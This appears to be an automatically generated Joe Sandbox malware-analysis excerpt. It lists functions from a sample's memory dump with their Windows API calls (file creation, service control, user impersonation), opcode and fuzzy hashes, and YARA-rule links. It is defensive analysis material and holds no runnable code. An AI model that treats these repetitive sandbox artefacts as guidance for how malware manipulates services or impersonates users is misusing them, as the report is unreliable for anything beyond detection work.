Opcode ID: ed7e2b31fd6aef62e0b2d6a44c1c366bad4b4bee5575bace948ac97ed6e962bd
Instruction ID: ef7b4dd26491d5e89aff9d99af0f5bffb264a88734d5c2221c092ce916b844da
Opcode Fuzzy Hash: ed7e2b31fd6aef62e0b2d6a44c1c366bad4b4bee5575bace948ac97ed6e962bd
Instruction Fuzzy Hash: 163147B314C2996FEB02CF6589A0FEB3BB8DB42760F25C44EE1818B582D2910F05D769

Function 00AC3558 Relevance: 1.6, APIs: 1, Instructions: 73
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000032), ref: 00AC35F1

Memory Dump Source

Source File: 00000007.00000002.2594084718.0000000000ABC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00930000, based on PE: true

Associated: 00000007.00000002.2593848176.0000000000930000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593870400.0000000000932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593892608.0000000000936000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593913625.000000000093A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593937947.0000000000946000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594039773.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594061134.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594127827.0000000000ACF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594146225.0000000000AD0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594164967.0000000000AD3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594184608.0000000000AD4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594205483.0000000000ADD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594225663.0000000000AE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594249531.0000000000AFB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594297813.0000000000B1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594316960.0000000000B1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594338236.0000000000B20000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594358499.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594380200.0000000000B2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594402205.0000000000B2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594421271.0000000000B30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594440489.0000000000B35000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594459060.0000000000B36000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594478941.0000000000B3D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594500175.0000000000B48000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594520015.0000000000B49000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594540534.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594561028.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594580191.0000000000B52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594599370.0000000000B57000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594619167.0000000000B60000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594638750.0000000000B63000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594659007.0000000000B64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594679715.0000000000B68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594700843.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594720740.0000000000B73000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594745259.0000000000B90000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594764106.0000000000B92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594783838.0000000000B93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594804635.0000000000B97000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594878067.0000000000BE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594897536.0000000000BE8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_930000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8fe10cdbfbe483b8f88fcf7808f8fb39bd20d07b6cd1637753d2740e130fb57a
Instruction ID: 13bde03cdbf763dc0ad36bb8cb7c7d17e5c745fb742e3e15ae662d8cfd6bfdf1
Opcode Fuzzy Hash: 8fe10cdbfbe483b8f88fcf7808f8fb39bd20d07b6cd1637753d2740e130fb57a
Instruction Fuzzy Hash: 0A11E67714821EBEDF01CE559911FFF33B8CB91B60F22C40EE1429B581D6A25F019668

Function 00AC3224 Relevance: 1.6, APIs: 1, Instructions: 66
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,00AC3220,00000003), ref: 00AC32EE

Memory Dump Source

Source File: 00000007.00000002.2594084718.0000000000ABC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00930000, based on PE: true

Associated: 00000007.00000002.2593848176.0000000000930000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593870400.0000000000932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593892608.0000000000936000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593913625.000000000093A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593937947.0000000000946000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594039773.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594061134.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594127827.0000000000ACF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594146225.0000000000AD0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594164967.0000000000AD3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594184608.0000000000AD4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594205483.0000000000ADD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594225663.0000000000AE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594249531.0000000000AFB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594297813.0000000000B1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594316960.0000000000B1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594338236.0000000000B20000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594358499.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594380200.0000000000B2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594402205.0000000000B2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594421271.0000000000B30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594440489.0000000000B35000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594459060.0000000000B36000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594478941.0000000000B3D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594500175.0000000000B48000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594520015.0000000000B49000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594540534.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594561028.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594580191.0000000000B52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594599370.0000000000B57000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594619167.0000000000B60000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594638750.0000000000B63000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594659007.0000000000B64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594679715.0000000000B68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594700843.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594720740.0000000000B73000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594745259.0000000000B90000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594764106.0000000000B92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594783838.0000000000B93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594804635.0000000000B97000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594878067.0000000000BE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594897536.0000000000BE8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_930000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: af93b716166ef068e98af4e00aef46e9a7794c81c315f325666975856335910d
Instruction ID: d2f8d3fbc7fe9c1ec8020b57e8fd95bf7eb658373aa2d9ae08640c888190e1ee
Opcode Fuzzy Hash: af93b716166ef068e98af4e00aef46e9a7794c81c315f325666975856335910d
Instruction Fuzzy Hash: E50180B71482657EBE028B49AA50EFB7BACEAE6730732C02EF441C2442D2A14F095575

Function 00AC351B Relevance: 1.6, APIs: 1, Instructions: 66
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000032), ref: 00AC35F1

Memory Dump Source

Source File: 00000007.00000002.2594084718.0000000000ABC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00930000, based on PE: true

Associated: 00000007.00000002.2593848176.0000000000930000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593870400.0000000000932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593892608.0000000000936000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593913625.000000000093A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593937947.0000000000946000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594039773.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594061134.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594127827.0000000000ACF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594146225.0000000000AD0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594164967.0000000000AD3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594184608.0000000000AD4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594205483.0000000000ADD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594225663.0000000000AE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594249531.0000000000AFB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594297813.0000000000B1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594316960.0000000000B1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594338236.0000000000B20000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594358499.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594380200.0000000000B2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594402205.0000000000B2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594421271.0000000000B30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594440489.0000000000B35000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594459060.0000000000B36000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594478941.0000000000B3D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594500175.0000000000B48000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594520015.0000000000B49000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594540534.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594561028.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594580191.0000000000B52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594599370.0000000000B57000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594619167.0000000000B60000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594638750.0000000000B63000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594659007.0000000000B64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594679715.0000000000B68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594700843.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594720740.0000000000B73000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594745259.0000000000B90000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594764106.0000000000B92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594783838.0000000000B93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594804635.0000000000B97000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594878067.0000000000BE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594897536.0000000000BE8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_930000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bd9f0fa388c9b1566fe2dcc75b08d63b39b0b7ac87af7dd245b2c66710497998
Instruction ID: cd70d2f967f074ed222a75b8e487221c9d40e2d347d99dc9ba1300a6041f588d
Opcode Fuzzy Hash: bd9f0fa388c9b1566fe2dcc75b08d63b39b0b7ac87af7dd245b2c66710497998
Instruction Fuzzy Hash: ED11E77754821DBFDF01CE54D911FBF33B8DB84B60F31C40EE5418B581D6A21E018A68

Function 04F10D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04F10DCD

Memory Dump Source

Source File: 00000007.00000002.2596983156.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f10000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5a4df2a894beb1335c2882acab2306b9832fbcbc064ac8d87a6cd13ec320ca81
Instruction ID: 22d18dfbca1022a773a3ae4dd444be98123722b1b0cdc9f60dcc51920688c152
Opcode Fuzzy Hash: 5a4df2a894beb1335c2882acab2306b9832fbcbc064ac8d87a6cd13ec320ca81
Instruction Fuzzy Hash: DB2115B6D00209CFDB40CF99D584BDEFBB1FB88320F14866AD908AB254DB74A545CBA4

Function 04F10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04F10DCD

Memory Dump Source

Source File: 00000007.00000002.2596983156.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f10000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: cf875011db1f5e603846a6a7f9d0e9a6272bcf20785b3b27c90c3547a5274372
Instruction ID: f10106a5e27f289a83a70e80e1851709188389baa8846fe6951fb93a60ab03eb
Opcode Fuzzy Hash: cf875011db1f5e603846a6a7f9d0e9a6272bcf20785b3b27c90c3547a5274372
Instruction Fuzzy Hash: 9F2133B6C002099FCB50CF99D884BDEFBF4FF88720F14825AD908AB204DB74A541CBA4

Function 00AC3200 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2594084718.0000000000ABC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00930000, based on PE: true

Associated: 00000007.00000002.2593848176.0000000000930000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593870400.0000000000932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593892608.0000000000936000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593913625.000000000093A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593937947.0000000000946000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594039773.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594061134.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594127827.0000000000ACF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594146225.0000000000AD0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594164967.0000000000AD3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594184608.0000000000AD4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594205483.0000000000ADD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594225663.0000000000AE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594249531.0000000000AFB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594297813.0000000000B1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594316960.0000000000B1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594338236.0000000000B20000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594358499.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594380200.0000000000B2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594402205.0000000000B2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594421271.0000000000B30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594440489.0000000000B35000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594459060.0000000000B36000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594478941.0000000000B3D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594500175.0000000000B48000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594520015.0000000000B49000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594540534.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594561028.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594580191.0000000000B52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594599370.0000000000B57000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594619167.0000000000B60000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594638750.0000000000B63000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594659007.0000000000B64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594679715.0000000000B68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594700843.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594720740.0000000000B73000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594745259.0000000000B90000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594764106.0000000000B92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594783838.0000000000B93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594804635.0000000000B97000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594878067.0000000000BE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594897536.0000000000BE8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_930000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4549e9cf6dcb7ff369ad7e184300de572c0831c70c8c9e56c8d6f83d959f3f2f
Instruction ID: cf5255426dba59b731f8f7a6937a54db922f6864414baa9cdc7b42f67f5d942c
Opcode Fuzzy Hash: 4549e9cf6dcb7ff369ad7e184300de572c0831c70c8c9e56c8d6f83d959f3f2f
Instruction Fuzzy Hash: 1901D8B758C2962EFF028B146951FFEBB69FAA3330B21817FE44186483E3910F095565

Function 04F11510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04F11580

Memory Dump Source

Source File: 00000007.00000002.2596983156.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f10000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: be8d3e7caf3919d71578602c9b9e3982559c2712fbe75df04c14b890db16ea8a
Instruction ID: 24ad372ba0c865e2041a9c9e5a8b9e4234fcc24a91c7b0c4bbae979f72602e8e
Opcode Fuzzy Hash: be8d3e7caf3919d71578602c9b9e3982559c2712fbe75df04c14b890db16ea8a
Instruction Fuzzy Hash: 3211D3B1D002499FDB10CF9AC584BDEFBF4EB48320F148029E959A3250D778A645CFA5

Function 04F11509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04F11580

Memory Dump Source

Source File: 00000007.00000002.2596983156.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f10000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 2db82c8826f773463f21a1458077dcc1aea0245b0aa95220ebf0f816b0313999
Instruction ID: f68fd1e590e6e63fc1579f732ade8653eb8b2fb32d894f090042114d452f575c
Opcode Fuzzy Hash: 2db82c8826f773463f21a1458077dcc1aea0245b0aa95220ebf0f816b0313999
Instruction Fuzzy Hash: 3711D0B6D00249CFDB10CF9AC584BDEBBF4FB48320F14842AE959A7250D778A645CFA5

Function 04F11301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04F11367

Memory Dump Source

Source File: 00000007.00000002.2596983156.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f10000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ab0f4f001aafb010c7584dc692a79be6eec52971c4ea4d4650059007670fc2db
Instruction ID: 90a9a81662d91d6647d5d4f76600b0100f5c47e6cb13c0f31e8924bfb5250e81
Opcode Fuzzy Hash: ab0f4f001aafb010c7584dc692a79be6eec52971c4ea4d4650059007670fc2db
Instruction Fuzzy Hash: 5F1125B2800349CFDB10CF9AD585BEEBBF4EF48320F24846AD558A3250D778A545CFA1

Function 04F11308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04F11367

Memory Dump Source

Source File: 00000007.00000002.2596983156.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f10000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: d79ab232379999a8dedc5e99a3f467102ccdcdb78af94025a4f3ad65c08e3524
Instruction ID: 0d3fd1985929d87b31ee2db9a514d774246cf43411f589f98486f96c6e65ab31
Opcode Fuzzy Hash: d79ab232379999a8dedc5e99a3f467102ccdcdb78af94025a4f3ad65c08e3524
Instruction Fuzzy Hash: 2511F2B2800249CFDB10CF9AC545BEEBBF8EB48724F24846AD558A3650D778A944CBA5

Function 00AC3484 Relevance: 1.5, APIs: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00AC34B2

Memory Dump Source

Source File: 00000007.00000002.2594084718.0000000000ABC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00930000, based on PE: true

